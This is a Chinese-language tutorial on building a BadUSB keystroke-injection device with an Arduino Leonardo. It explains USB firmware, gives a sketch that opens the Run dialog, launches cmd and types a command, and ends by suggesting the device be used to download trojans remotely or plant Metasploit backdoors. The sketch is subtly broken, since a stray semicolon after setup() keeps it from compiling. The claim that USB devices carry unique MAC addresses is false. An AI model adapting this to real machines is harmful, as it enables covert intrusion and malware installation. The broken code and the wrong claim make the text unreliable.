1、U盤構造
U盤由芯片控制器和閃存兩部分組成。
芯片控制器負責與PC的通訊和識別,閃存用來做數據存儲;
閃存中有一部分區域用來存放U盤的固件,它的作用類似於操作系統,控制軟硬件交互;固件無法通過普通手段進行讀取。
BadUSB就是通過對U盤的固件進行逆向重新編程,相當於改寫了U盤的操作系統而進行攻擊的。
2、協議漏洞
根據USB標准,設備占有唯一可識別的MAC地址系統驗證,因此具有多個輸入輸出設備的特征。通過重寫U盤固件,偽裝成一個USB鍵盤。虛擬鍵盤進行指令代碼輸入。
這里通過Arduino內置函數實現模擬鍵盤輸入和鼠標輸入。
3、制作
連接Leonardo板卡到PC串口,這里編程需要用到Auduino自帶的Keyboard庫:
見文知義keyboard
庫,功能就是將arduino
模擬成一個usb
鍵盤。
包含Api
如下:
- Keyboard.begin()
- Keyboard.end()
- Keyboard.press()
- Keyboard.print()
- Keyboard.println()
- Keyboard.release()
- Keyboard.releaseAll()
- Keyboard.write()貼一段網上的測試代碼:
#include<Keyboard.h> //包含鍵盤模塊頭文件
void setup(); //初始化
Keyboard.begin();//開始鍵盤通信
delay(1000);//延時1000毫秒,不要太短,因為每天電腦的運行速度都不一樣
Keyboard.press(KEY_CAPS_LOCK); //按下大寫鍵 這里我們最好這樣寫 不然大多數電腦在中文輸入的情況下就會出現問題
Keyboard.release(KEY_CAPS_LOCK); //釋放大寫鍵
delay(500);
Keyboard.press(KEY_LEFT_GUI);//按下徽標鍵 也就是win鍵
delay(500);
Keyboard.press('r');//按下r鍵
delay(500);
Keyboard.release(KEY_LEFT_GUI);//松掉win鍵
Keyboard.release('r');//松掉r鍵
delay(500);
Keyboard.println("cmd");//輸入cmd進入DOS
delay(500);
Keyboard.press(KEY_RETURN); //按下回車鍵
Keyboard.release(KEY_RETURN); //釋放回車鍵
delay(500);
Keyboard.println("echo first test");
Keyboard.press(KEY_RETURN); //按下回車鍵
Keyboard.release(KEY_RETURN); //釋放回車鍵
delay(500);
Keyboard.press(KEY_CAPS_LOCK); //按下大寫鍵
Keyboard.release(KEY_CAPS_LOCK); //釋放大寫鍵 我們再次關閉開啟的大寫鍵
delay(500);
Keyboard.end();//結束鍵盤通訊
}
void loop()//循環,這里的代碼
{
//循環體 寫入你要循環的代碼
}
- 實現功能是:插入板卡之后,首先開啟大寫鍵 然后打開了運行窗口 然后輸入了CMD 回車,命令行會輸入 echo first test 並且回車。
進階玩法:通過自行編程實現插USB之后遠程下載木馬,或結合Metasploit 進行后門、木馬的植入,或者一些批處理文件。